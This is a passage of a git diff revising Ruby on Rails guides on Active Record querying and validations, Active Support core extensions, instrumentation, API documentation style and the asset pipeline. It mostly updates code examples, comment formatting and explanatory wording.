-If you simply want to check for the existence of the object there's a method called `exists?`. This method will query the database using the same query as `find`, but instead of returning an object or collection of objects it will return either `true` or `false`.
+If you simply want to check for the existence of the object there's a method called `exists?`.
+This method will query the database using the same query as `find`, but instead of returning an
+object or collection of objects it will return either `true` or `false`.
```ruby
Client.exists?(1)
```
-The `exists?` method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
+The `exists?` method also takes multiple values, but the catch is that it will return `true` if any
+one of those records exists.
```ruby
-Client.exists?(1,2,3)
+Client.exists?(id: [1,2,3])
# or
-Client.exists?([1,2,3])
+Client.exists?(name: ['John', 'Sergei'])
```
It's even possible to use `exists?` without any arguments on a model or a relation.
@@ -1517,7 +1578,8 @@ It's even possible to use `exists?` without any arguments on a model or a relati
Client.where(first_name: 'Ryan').exists?
```
-The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false` otherwise.
+The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false`
+otherwise.
```ruby
Client.exists?
@@ -1567,7 +1629,7 @@ Client.where(first_name: 'Ryan').count
You can also use various finder methods on a relation for performing complex calculations:
```ruby
-Client.includes("orders").where(first_name: 'Ryan', orders: {status: 'received'}).count
+Client.includes("orders").where(first_name: 'Ryan', orders: { status: 'received' }).count
```
Which will execute:
diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md
index 3bfc600e7c..a483a6dd24 100644
--- a/guides/source/active_record_validations.md
+++ b/guides/source/active_record_validations.md
@@ -121,7 +121,7 @@ database only if the object is valid:
The bang versions (e.g. `save!`) raise an exception if the record is invalid.
The non-bang versions don't, `save` and `update` return `false`,
-`create` just return the objects.
+`create` just returns the object.
### Skipping Validations
@@ -175,28 +175,28 @@ class Person < ActiveRecord::Base
end
>> p = Person.new
-#=> #<Person id: nil, name: nil>
+# => #<Person id: nil, name: nil>
>> p.errors.messages
-#=> {}
+# => {}
>> p.valid?
-#=> false
+# => false
>> p.errors.messages
-#=> {name:["can't be blank"]}
+# => {name:["can't be blank"]}
>> p = Person.create
-#=> #<Person id: nil, name: nil>
+# => #<Person id: nil, name: nil>
>> p.errors.messages
-#=> {name:["can't be blank"]}
+# => {name:["can't be blank"]}
>> p.save
-#=> false
+# => false
>> p.save!
-#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
>> Person.create!
-#=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+# => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
```
`invalid?` is simply the inverse of `valid?`. It triggers your validations,
@@ -243,7 +243,7 @@ line of code you can add the same kind of validation to several attributes.
All of them accept the `:on` and `:message` options, which define when the
validation should be run and what message should be added to the `errors`
collection if it fails, respectively. The `:on` option takes one of the values
-`:save` (the default), `:create` or `:update`. There is a default error
+`:create` or `:update`. There is a default error
message for each one of the validation helpers. These messages are used when
the `:message` option isn't specified. Let's take a look at each one of the
available helpers.
@@ -337,7 +337,7 @@ set. In fact, this set can be any enumerable object.
```ruby
class Account < ActiveRecord::Base
validates :subdomain, exclusion: { in: %w(www us ca jp),
- message: "Subdomain %{value} is reserved." }
+ message: "%{value} is reserved." }
end
```
@@ -438,8 +438,6 @@ provide a personalized message or use `presence: true` instead. When
`:in` or `:within` have a lower limit of 1, you should either provide a
personalized message or call `presence` prior to `length`.
-The `size` helper is an alias for `length`.
-
### `numericality`
This helper validates that your attributes have only numeric values. By
@@ -528,7 +526,7 @@ If you validate the presence of an object associated via a `has_one` or
Since `false.blank?` is true, if you want to validate the presence of a boolean
field you should use `validates :field_name, inclusion: { in: [true, false] }`.
-The default error message is _"can't be empty"_.
+The default error message is _"can't be blank"_.
### `absence`
@@ -577,7 +575,9 @@ This helper validates that the attribute's value is unique right before the
object gets saved. It does not create a uniqueness constraint in the database,
so it may happen that two different database connections create two records
with the same value for a column that you intend to be unique. To avoid that,
-you must create a unique index in your database.
+you must create a unique index on both columns in your database. See
+[the MySQL manual](http://dev.mysql.com/doc/refman/5.6/en/multiple-column-indexes.html)
+for more details about multiple column indexes.
```ruby
class Account < ActiveRecord::Base
@@ -618,10 +618,6 @@ The default error message is _"has already been taken"_.
This helper passes the record to a separate class for validation.
```ruby
-class Person < ActiveRecord::Base
- validates_with GoodnessValidator
-end
-
class GoodnessValidator < ActiveModel::Validator
def validate(record)
if record.first_name == "Evil"
@@ -629,6 +625,10 @@ class GoodnessValidator < ActiveModel::Validator
end
end
end
+
+class Person < ActiveRecord::Base
+ validates_with GoodnessValidator
+end
```
NOTE: Errors added to `record.errors[:base]` relate to the state of the record
@@ -646,10 +646,6 @@ Like all other validations, `validates_with` takes the `:if`, `:unless` and
validator class as `options`:
```ruby
-class Person < ActiveRecord::Base
- validates_with GoodnessValidator, fields: [:first_name, :last_name]
-end
-
class GoodnessValidator < ActiveModel::Validator
def validate(record)
if options[:fields].any?{|field| record.send(field) == "Evil" }
@@ -657,6 +653,10 @@ class GoodnessValidator < ActiveModel::Validator
end
end
end
+
+class Person < ActiveRecord::Base
+ validates_with GoodnessValidator, fields: [:first_name, :last_name]
+end
```
Note that the validator will be initialized *only once* for the whole application
@@ -684,7 +684,7 @@ class GoodnessValidator
end
end
- # …
+ # ...
end
```
@@ -765,10 +765,9 @@ class Person < ActiveRecord::Base
validates :age, numericality: true, on: :update
# the default (validates on both create and update)
- validates :name, presence: true, on: :save
+ validates :name, presence: true
end
```
-The last line is in review state and as of now, it is not running in any version of Rails 3.2.x as discussed in this [issue](https://github.com/rails/rails/issues/10248)
Strict Validations
------------------
@@ -784,7 +783,7 @@ end
Person.new.valid? # => ActiveModel::StrictValidationFailed: Name can't be blank
```
-There is also an ability to pass custom exception to `:strict` option
+There is also an ability to pass custom exception to `:strict` option.
```ruby
class Person < ActiveRecord::Base
diff --git a/guides/source/active_support_core_extensions.md b/guides/source/active_support_core_extensions.md
index 7f65d920df..5a4e15cfa9 100644
--- a/guides/source/active_support_core_extensions.md
+++ b/guides/source/active_support_core_extensions.md
@@ -37,9 +37,10 @@ For every single method defined as a core extension this guide has a note that s
NOTE: Defined in `active_support/core_ext/object/blank.rb`.
-That means that this single call is enough:
+That means that you can require it like this:
```ruby
+require 'active_support'
require 'active_support/core_ext/object/blank'
```
@@ -52,6 +53,7 @@ The next level is to simply load all extensions to `Object`. As a rule of thumb,
Thus, to load all extensions to `Object` (including `blank?`):
```ruby
+require 'active_support'
require 'active_support/core_ext/object'
```
@@ -60,6 +62,7 @@ require 'active_support/core_ext/object'
You may prefer just to load all core extensions, there is a file for that:
```ruby
+require 'active_support'
require 'active_support/core_ext'
```
@@ -96,12 +99,13 @@ INFO: The predicate for strings uses the Unicode-aware character class `[:space:
WARNING: Note that numbers are not mentioned. In particular, 0 and 0.0 are **not** blank.
-For example, this method from `ActionDispatch::Session::AbstractStore` uses `blank?` for checking whether a session key is present:
+For example, this method from `ActionController::HttpAuthentication::Token::ControllerMethods` uses `blank?` for checking whether a token is present:
```ruby
-def ensure_session_key!
- if @key.blank?
- raise ArgumentError, 'A key is required...'
+def authenticate(controller, &login_procedure)
+ token, options = token_and_options(controller.request)
+ unless token.blank?
+ login_procedure.call(token, options)
end
end
```
@@ -153,9 +157,9 @@ Active Support provides `duplicable?` to programmatically query an object about
```ruby
"foo".duplicable? # => true
-"".duplicable? # => true
+"".duplicable? # => true
0.0.duplicable? # => false
-false.duplicable? # => false
+false.duplicable? # => false
```
By definition all objects are `duplicable?` except `nil`, `false`, `true`, symbols, numbers, class, and module objects.
@@ -175,14 +179,14 @@ duplicate = array.dup
duplicate.push 'another-string'
# the object was duplicated, so the element was added only to the duplicate
-array #=> ['string']
-duplicate #=> ['string', 'another-string']
+array # => ['string']
+duplicate # => ['string', 'another-string']
duplicate.first.gsub!('string', 'foo')
# first element was not duplicated, it will be changed in both arrays
-array #=> ['foo']
-duplicate #=> ['foo', 'another-string']
+array # => ['foo']
+duplicate # => ['foo', 'another-string']
```
As you can see, after duplicating the `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make deep copy, the string inside the array is still the same object.
@@ -195,8 +199,8 @@ duplicate = array.deep_dup
duplicate.first.gsub!('string', 'foo')
-array #=> ['string']
-duplicate #=> ['foo']
+array # => ['string']
+duplicate # => ['foo']
```
If the object is not duplicable, `deep_dup` will just return it:
@@ -420,11 +424,9 @@ NOTE: Defined in `active_support/core_ext/object/with_options.rb`.
### JSON support
-Active Support provides a better implemention of `to_json` than the +json+ gem ordinarily provides for Ruby objects. This is because some classes, like +Hash+ and +OrderedHash+ needs special handling in order to provide a proper JSON representation.
-
-Active Support also provides an implementation of `as_json` for the <tt>Process::Status</tt> class.
+Active Support provides a better implementation of `to_json` than the `json` gem ordinarily provides for Ruby objects. This is because some classes, like `Hash`, `OrderedHash` and `Process::Status` need special handling in order to provide a proper JSON representation.
-NOTE: Defined in `active_support/core_ext/object/to_json.rb`.
+NOTE: Defined in `active_support/core_ext/object/json.rb`.
### Instance Variables
@@ -622,7 +624,7 @@ NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`.
#### Module Attributes
-The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check [Class Attributes](#class-attributes).
+The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes).
For example, the dependencies mechanism uses them:
@@ -733,7 +735,7 @@ X.local_constants # => [:X1, :X2, :Y]
X::Y.local_constants # => [:Y1, :X1]
```
-The names are returned as symbols. (The deprecated method `local_constant_names` returns strings.)
+The names are returned as symbols.
NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
@@ -759,7 +761,7 @@ Arguments may be bare constant names:
Math.qualified_const_get("E") # => 2.718281828459045
```
-These methods are analogous to their builtin counterparts. In particular,
+These methods are analogous to their built-in counterparts. In particular,
`qualified_constant_defined?` accepts an optional second argument to be
able to say whether you want the predicate to look in the ancestors.
This flag is taken into account for each constant in the expression while
@@ -790,7 +792,7 @@ N.qualified_const_defined?("C::X") # => true
As the last example implies, the second argument defaults to true,
as in `const_defined?`.
-For coherence with the builtin methods only relative paths are accepted.
+For coherence with the built-in methods only relative paths are accepted.
Absolute qualified constant names like `::Math::PI` raise `NameError`.
NOTE: Defined in `active_support/core_ext/module/qualified_const.rb`.
@@ -886,7 +888,7 @@ class User < ActiveRecord::Base
end
```
-With that configuration you get a user's name via his profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
+With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
```ruby
class User < ActiveRecord::Base
@@ -962,20 +964,7 @@ NOTE: Defined in `active_support/core_ext/module/delegation.rb`
There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.
-The method `redefine_method` prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API:
-
-```ruby
-redefine_method("#{reflection.name}=") do |new_value|
- association = association_instance_get(reflection.name)
-
- if association.nil? || association.target != new_value
- association = association_proxy_class.new(self, reflection)
- end
-
- association.replace(new_value)
- association_instance_set(reflection.name, new_value.nil? ? nil : association)
-end
-```
+The method `redefine_method` prevents such a potential warning, removing the existing method before if needed.
NOTE: Defined in `active_support/core_ext/module/remove_method.rb`
@@ -1091,6 +1080,15 @@ end
we can access `field_error_proc` in views.
+Also, you can pass a block to `cattr_*` to set up the attribute with a default value:
+
+```ruby
+class MysqlAdapter < AbstractAdapter
+ # Generates class methods to access @@emulate_booleans with default value of true.
+ cattr_accessor(:emulate_booleans) { true }
+end
+```
+
The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value.
```ruby
@@ -1108,7 +1106,7 @@ end
A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute.
-NOTE: Defined in `active_support/core_ext/class/attribute_accessors.rb`.
+NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`. `active_support/core_ext/class/attribute_accessors.rb` is deprecated and will be removed in Ruby on Rails 4.2.
### Subclasses & Descendants
@@ -1248,6 +1246,18 @@ Calling `to_s` on a safe string returns a safe string, but coercion with `to_str
Calling `dup` or `clone` on safe strings yields safe strings.
+### `remove`
+
+The method `remove` will remove all occurrences of the pattern:
+
+```ruby
+"Hello World".remove(/Hello /) => "World"
+```
+
+There's also the destructive version `String#remove!`.
+
+NOTE: Defined in `active_support/core_ext/string/filters.rb`.
+
### `squish`
The method `squish` strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:
@@ -1380,6 +1390,8 @@ The third argument, `indent_empty_lines`, is a flag that says whether empty line
The `indent!` method performs indentation in-place.
+NOTE: Defined in `active_support/core_ext/string/indent.rb`.
+
### Access
#### `at(position)`
@@ -1531,7 +1543,7 @@ ActiveSupport::Inflector.inflections do |inflect|
inflect.acronym 'SSL'
end
-"SSLError".underscore.camelize #=> "SSLError"
+"SSLError".underscore.camelize # => "SSLError"
```
`camelize` is aliased to `camelcase`.
@@ -1619,6 +1631,9 @@ Given a string with a qualified constant name, `demodulize` returns the very con
"Product".demodulize # => "Product"
"Backoffice::UsersController".demodulize # => "UsersController"
"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
+"::Inflections".demodulize # => "Inflections"
+"".demodulize # => ""
+
```
Active Record for example uses this method to compute the name of a counter cache column:
@@ -1761,6 +1776,12 @@ The method `humanize` gives you a sensible name for display out of an attribute
"comments_count".humanize # => "Comments count"
```
+The capitalization of the first word can be turned off by setting the optional parameter `capitalize` to false:
+
+```ruby
+"author_id".humanize(capitalize: false) # => "author"
+```
+
The helper method `full_messages` uses `humanize` as a fallback to include attribute names:
```ruby
@@ -1987,7 +2008,7 @@ Produce a string representation of a number in human-readable words:
1234567890123456.to_s(:human) # => "1.23 Quadrillion"
```
-NOTE: Defined in `active_support/core_ext/numeric/formatting.rb`.
+NOTE: Defined in `active_support/core_ext/numeric/conversions.rb`.
Extensions to `Integer`
-----------------------
@@ -2256,8 +2277,6 @@ The defaults for these options can be localized, their keys are:
| `:words_connector` | `support.array.words_connector` |
| `:last_word_connector` | `support.array.last_word_connector` |
-Options `:connector` and `:skip_last_comma` are deprecated.
-
NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
#### `to_formatted_s`
@@ -2432,7 +2451,7 @@ dup[1][2] = 4
array[1][2] == nil # => true
```
-NOTE: Defined in `active_support/core_ext/array/deep_dup.rb`.
+NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
### Grouping
@@ -2658,45 +2677,7 @@ hash[:b][:e] == nil # => true
hash[:b][:d] == [3, 4] # => true
```
-NOTE: Defined in `active_support/core_ext/hash/deep_dup.rb`.
-
-### Diffing
-
-The method `diff` returns a hash that represents a diff of the receiver and the argument with the following logic:
-
-* Pairs `key`, `value` that exist in both hashes do not belong to the diff hash.
-
-* If both hashes have `key`, but with different values, the pair in the receiver wins.
-
-* The rest is just merged.
-
-```ruby
-{a: 1}.diff(a: 1)
-# => {}, first rule
-
-{a: 1}.diff(a: 2)
-# => {:a=>1}, second rule
-
-{a: 1}.diff(b: 2)
-# => {:a=>1, :b=>2}, third rule
-
-{a: 1, b: 2, c: 3}.diff(b: 1, c: 3, d: 4)
-# => {:a=>1, :b=>2, :d=>4}, all rules
-
-{}.diff({}) # => {}
-{a: 1}.diff({}) # => {:a=>1}
-{}.diff(a: 1) # => {:a=>1}
-```
-
-An important property of this diff hash is that you can retrieve the original hash by applying `diff` twice:
-
-```ruby
-hash.diff(hash2).diff(hash2) == hash
-```
-
-Diffing hashes may be useful for error messages related to expected option hashes for example.
-
-NOTE: Defined in `active_support/core_ext/hash/diff.rb`.
+NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
### Working with Keys
@@ -2724,26 +2705,29 @@ NOTE: Defined in `active_support/core_ext/hash/except.rb`.
The method `transform_keys` accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver:
```ruby
-{nil => nil, 1 => 1, a: :a}.transform_keys{ |key| key.to_s.upcase }
+{nil => nil, 1 => 1, a: :a}.transform_keys { |key| key.to_s.upcase }
# => {"" => nil, "A" => :a, "1" => 1}
```
-The result in case of collision is undefined:
+In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:
```ruby
-{"a" => 1, a: 2}.transform_keys{ |key| key.to_s.upcase }
-# => {"A" => 2}, in my test, can't rely on this result though
+{"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase }
+# The result could either be
+# => {"A"=>2}
+# or
+# => {"A"=>1}
```
This method may be useful for example to build specialized conversions. For instance `stringify_keys` and `symbolize_keys` use `transform_keys` to perform their key conversions:
```ruby
def stringify_keys
- transform_keys{ |key| key.to_s }
+ transform_keys { |key| key.to_s }
end
...
def symbolize_keys
- transform_keys{ |key| key.to_sym rescue key }
+ transform_keys { |key| key.to_sym rescue key }
end
```
@@ -2752,7 +2736,7 @@ There's also the bang variant `transform_keys!` that applies the block operation
Besides that, one can use `deep_transform_keys` and `deep_transform_keys!` to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is:
```ruby
-{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys{ |key| key.to_s.upcase }
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys { |key| key.to_s.upcase }
# => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}}
```
@@ -2767,11 +2751,14 @@ The method `stringify_keys` returns a hash that has a stringified version of the
# => {"" => nil, "a" => :a, "1" => 1}
```
-The result in case of collision is undefined:
+In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:
```ruby
{"a" => 1, a: 2}.stringify_keys
-# => {"a" => 2}, in my test, can't rely on this result though
+# The result could either be
+# => {"a"=>2}
+# or
+# => {"a"=>1}
```
This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionView::Helpers::FormHelper` defines:
@@ -2808,11 +2795,14 @@ The method `symbolize_keys` returns a hash that has a symbolized version of the
WARNING. Note in the previous example only one key was symbolized.
-The result in case of collision is undefined:
+In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash:
```ruby
{"a" => 1, a: 2}.symbolize_keys
-# => {:a=>2}, in my test, can't rely on this result though
+# The result could either be
+# => {:a=>2}
+# or
+# => {:a=>1}
```
This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionController::UrlRewriter` defines
@@ -2918,6 +2908,16 @@ The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndiffer
NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`.
+### Compacting
+
+The methods `compact` and `compact!` return a Hash without items with `nil` value.
+
+```ruby
+{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/compact.rb`.
+
Extensions to `Regexp`
----------------------
@@ -3831,7 +3831,7 @@ def default_helper_module!
module_path = module_name.underscore
helper module_path
rescue MissingSourceFile => e
- raise e unless e.is_missing? "#{module_path}_helper"
+ raise e unless e.is_missing? "helpers/#{module_path}_helper"
rescue NameError => e
raise e unless e.missing_name? "#{module_name}Helper"
end
diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md
index 969596f470..121cdc0199 100644
--- a/guides/source/active_support_instrumentation.md
+++ b/guides/source/active_support_instrumentation.md
@@ -396,6 +396,15 @@ INFO. Cache stores my add their own keys
}
```
+Railties
+--------
+
+### load_config_initializer.railties
+
+| Key | Value |
+| -------------- | ----------------------------------------------------- |
+| `:initializer` | Path to loaded initializer from `config/initializers` |
+
Rails
-----
@@ -448,6 +457,7 @@ Most times you only care about the data itself. Here is a shortcut to just get t
ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
data = args.extract_options!
data # { extra: :information }
+end
```
You may also subscribe to events matching a regular expression. This enables you to subscribe to
diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md
index 7e056d970c..261538d0be 100644
--- a/guides/source/api_documentation_guidelines.md
+++ b/guides/source/api_documentation_guidelines.md
@@ -42,10 +42,32 @@ Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. Wh
Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
+Prefer wordings that avoid "you"s and "your"s. For example, instead of
+
+```markdown
+If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods.
+```
+
+use this style:
+
+```markdown
+If `return` is needed it is recommended to explicitly define a method.
+```
+
+That said, when using pronouns in reference to a hypothetical person, such as "a
+user with a session cookie", gender neutral pronouns (they/their/them) should be
+used. Instead of:
+
+* he or she... use they.
+* him or her... use them.
+* his or her... use their.
+* his or hers... use theirs.
+* himself or herself... use themselves.
+
English
-------
-Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc).. See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
+Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc). See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
Example Code
------------
@@ -106,6 +128,53 @@ On the other hand, regular comments do not use an arrow:
# polymorphic_url(record) # same as comment_url(record)
```
+Booleans
+--------
+
+In predicates and flags prefer documenting boolean semantics over exact values.
+
+When "true" or "false" are used as defined in Ruby use regular font. The
+singletons `true` and `false` need fixed-width font. Please avoid terms like
+"truthy", Ruby defines what is true and false in the language, and thus those
+words have a technical meaning and need no substitutes.
+
+As a rule of thumb, do not document singletons unless absolutely necessary. That
+prevents artificial constructs like `!!` or ternaries, allows refactors, and the
+code does not need to rely on the exact values returned by methods being called
+in the implementation.
+
+For example:
+
+```markdown
+`config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default
+```
+
+the user does not need to know which is the actual default value of the flag,
+and so we only document its boolean semantics.
+
+An example with a predicate:
+
+```ruby
+# Returns true if the collection is empty.
+#
+# If the collection has been loaded
+# it is equivalent to <tt>collection.size.zero?</tt>. If the
+# collection has not been loaded, it is equivalent to
+# <tt>collection.exists?</tt>. If the collection has not already been
+# loaded and you are going to fetch the records anyway it is better to
+# check <tt>collection.length.zero?</tt>.
+def empty?
+ if loaded?
+ size.zero?
+ else
+ @target.blank? && !scope.exists?
+ end
+end
+```
+
+The API is careful not to commit to any particular value, the method has
+predicate semantics, that's enough.
+
Filenames
---------
@@ -141,7 +210,17 @@ class Array
end
```
-WARNING: Using a pair of `+...+` for fixed-width font only works with **words**; that is: anything matching `\A\w+\z`. For anything else use `<tt>...</tt>`, notably symbols, setters, inline snippets, etc.
+WARNING: Using `+...+` for fixed-width font only works with simple content like
+ordinary method names, symbols, paths (with forward slashes), etc. Please use
+`<tt>...</tt>` for everything else, notably class or module names with a
+namespace as in `<tt>ActiveRecord::Base</tt>`.
+
+You can quickly test the RDoc output with the following command:
+
+```
+$ echo "+:to_param+" | rdoc --pipe
+#=> <p><code>:to_param</code></p>
+```
### Regular Font
@@ -172,7 +251,7 @@ In lists of options, parameters, etc. use a hyphen between the item and its desc
# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
```
-The description starts in upper case and ends with a full stop—it's standard English.
+The description starts in upper case and ends with a full stop-it's standard English.
Dynamically Generated Methods
-----------------------------
diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md
index b68c24acfd..52fc9726d9 100644
--- a/guides/source/asset_pipeline.md
+++ b/guides/source/asset_pipeline.md
@@ -5,9 +5,9 @@ This guide covers the asset pipeline.
After reading this guide, you will know:
-* How to understand what the asset pipeline is and what it does.
+* What the asset pipeline is and what it does.
* How to properly organize your application assets.
-* How to understand the benefits of the asset pipeline.
+* The benefits of the asset pipeline.
* How to add a pre-processor to the pipeline.
* How to package assets with a gem.
@@ -16,44 +16,97 @@ After reading this guide, you will know:
What is the Asset Pipeline?
---------------------------
-The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB.
+The asset pipeline provides a framework to concatenate and minify or compress
+JavaScript and CSS assets. It also adds the ability to write these assets in
+other languages and pre-processors such as CoffeeScript, Sass and ERB.
-Making the asset pipeline a core feature of Rails means that all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011.
+The asset pipeline is technically no longer a core feature of Rails 4, it has
+been extracted out of the framework into the
+[sprockets-rails](https://github.com/rails/sprockets-rails) gem.
-The asset pipeline is enabled by default. It can be disabled in `config/application.rb` by putting this line inside the application class definition:
+The asset pipeline is enabled by default.
+
+You can disable the asset pipeline while creating a new application by
+passing the `--skip-sprockets` option.
+
+```bash
+rails new appname --skip-sprockets
+```
+
+Rails 4 automatically adds the `sass-rails`, `coffee-rails` and `uglifier`
+gems to your Gemfile, which are used by Sprockets for asset compression:
```ruby
-config.assets.enabled = false
+gem 'sass-rails'
+gem 'uglifier'
+gem 'coffee-rails'
```
-You can also disable the asset pipeline while creating a new application by passing the `--skip-sprockets` option.
+Using the `--skip-sprockets` option will prevent Rails 4 from adding
+`sass-rails` and `uglifier` to Gemfile, so if you later want to enable
+the asset pipeline you will have to add those gems to your Gemfile. Also,
+creating an application with the `--skip-sprockets` option will generate
+a slightly different `config/application.rb` file, with a require statement
+for the sprockets railtie that is commented-out. You will have to remove
+the comment operator on that line to later enable the asset pipeline:
-```bash
-rails new appname --skip-sprockets
+```ruby
+# require "sprockets/railtie"
```
-You should use the defaults for all new applications unless you have a specific reason to avoid the asset pipeline.
+To set asset compression methods, set the appropriate configuration options
+in `production.rb` - `config.assets.css_compressor` for your CSS and
+`config.assets.js_compressor` for your JavaScript:
+```ruby
+config.assets.css_compressor = :yui
+config.assets.js_compressor = :uglifier
+```
-### Main Features
+NOTE: The `sass-rails` gem is automatically used for CSS compression if included
+in Gemfile and no `config.assets.css_compressor` option is set.
-The first feature of the pipeline is to concatenate assets. This is important in a production environment, because it can reduce the number of requests that a browser makes to render a web page. Web browsers are limited in the number of requests that they can make in parallel, so fewer requests can mean faster loading for your application.
-Rails 2.x introduced the ability to concatenate JavaScript and CSS assets by placing `cache: true` at the end of the `javascript_include_tag` and `stylesheet_link_tag` methods. But this technique has some limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries.
+### Main Features
+
+The first feature of the pipeline is to concatenate assets, which can reduce the
+number of requests that a browser makes to render a web page. Web browsers are
+limited in the number of requests that they can make in parallel, so fewer
+requests can mean faster loading for your application.
-Starting with version 3.1, Rails defaults to concatenating all JavaScript files into one master `.js` file and all CSS files into one master `.css` file. As you'll learn later in this guide, you can customize this strategy to group files any way you like. In production, Rails inserts an MD5 fingerprint into each filename so that the file is cached by the web browser. You can invalidate the cache by altering this fingerprint, which happens automatically whenever you change the file contents.
+Sprockets concatenates all JavaScript files into one master `.js` file and all
+CSS files into one master `.css` file. As you'll learn later in this guide, you
+can customize this strategy to group files any way you like. In production,
+Rails inserts an MD5 fingerprint into each filename so that the file is cached
+by the web browser. You can invalidate the cache by altering this fingerprint,
+which happens automatically whenever you change the file contents.
-The second feature of the asset pipeline is asset minification or compression. For CSS files, this is done by removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own.
+The second feature of the asset pipeline is asset minification or compression.
+For CSS files, this is done by removing whitespace and comments. For JavaScript,
+more complex processes can be applied. You can choose from a set of built in
+options or specify your own.
-The third feature of the asset pipeline is that it allows coding assets via a higher-level language, with precompilation down to the actual assets. Supported languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by default.
+The third feature of the asset pipeline is it allows coding assets via a
+higher-level language, with precompilation down to the actual assets. Supported
+languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by
+default.
### What is Fingerprinting and Why Should I Care?
-Fingerprinting is a technique that makes the name of a file dependent on the contents of the file. When the file contents change, the filename is also changed. For content that is static or infrequently changed, this provides an easy way to tell whether two versions of a file are identical, even across different servers or deployment dates.
+Fingerprinting is a technique that makes the name of a file dependent on the
+contents of the file. When the file contents change, the filename is also
+changed. For content that is static or infrequently changed, this provides an
+easy way to tell whether two versions of a file are identical, even across
+different servers or deployment dates.
-When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, or in web browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change. This will cause the remote clients to request a new copy of the content. This is generally known as _cache busting_.
+When a filename is unique and based on its content, HTTP headers can be set to
+encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment,
+or in web browsers) to keep their own copy of the content. When the content is
+updated, the fingerprint will change. This will cause the remote clients to
+request a new copy of the content. This is generally known as _cache busting_.
-The technique that Rails uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file `global.css` could be renamed with an MD5 digest of its contents:
+The technique sprockets uses for fingerprinting is to insert a hash of the
+content into the name, usually at the end. For example a CSS file `global.css`
```
global-908e25f4bf641868d8683022a5b62f54.css
@@ -61,7 +114,8 @@ global-908e25f4bf641868d8683022a5b62f54.css
This is the strategy adopted by the Rails asset pipeline.
-Rails' old strategy was to append a date-based query string to every asset linked with a built-in helper. In the source the generated code looked like this:
+Rails' old strategy was to append a date-based query string to every asset linked
+with a built-in helper. In the source the generated code looked like this:
```
/stylesheets/global.css?1309495796
@@ -69,68 +123,130 @@ Rails' old strategy was to append a date-based query string to every asset linke
The query string strategy has several disadvantages:
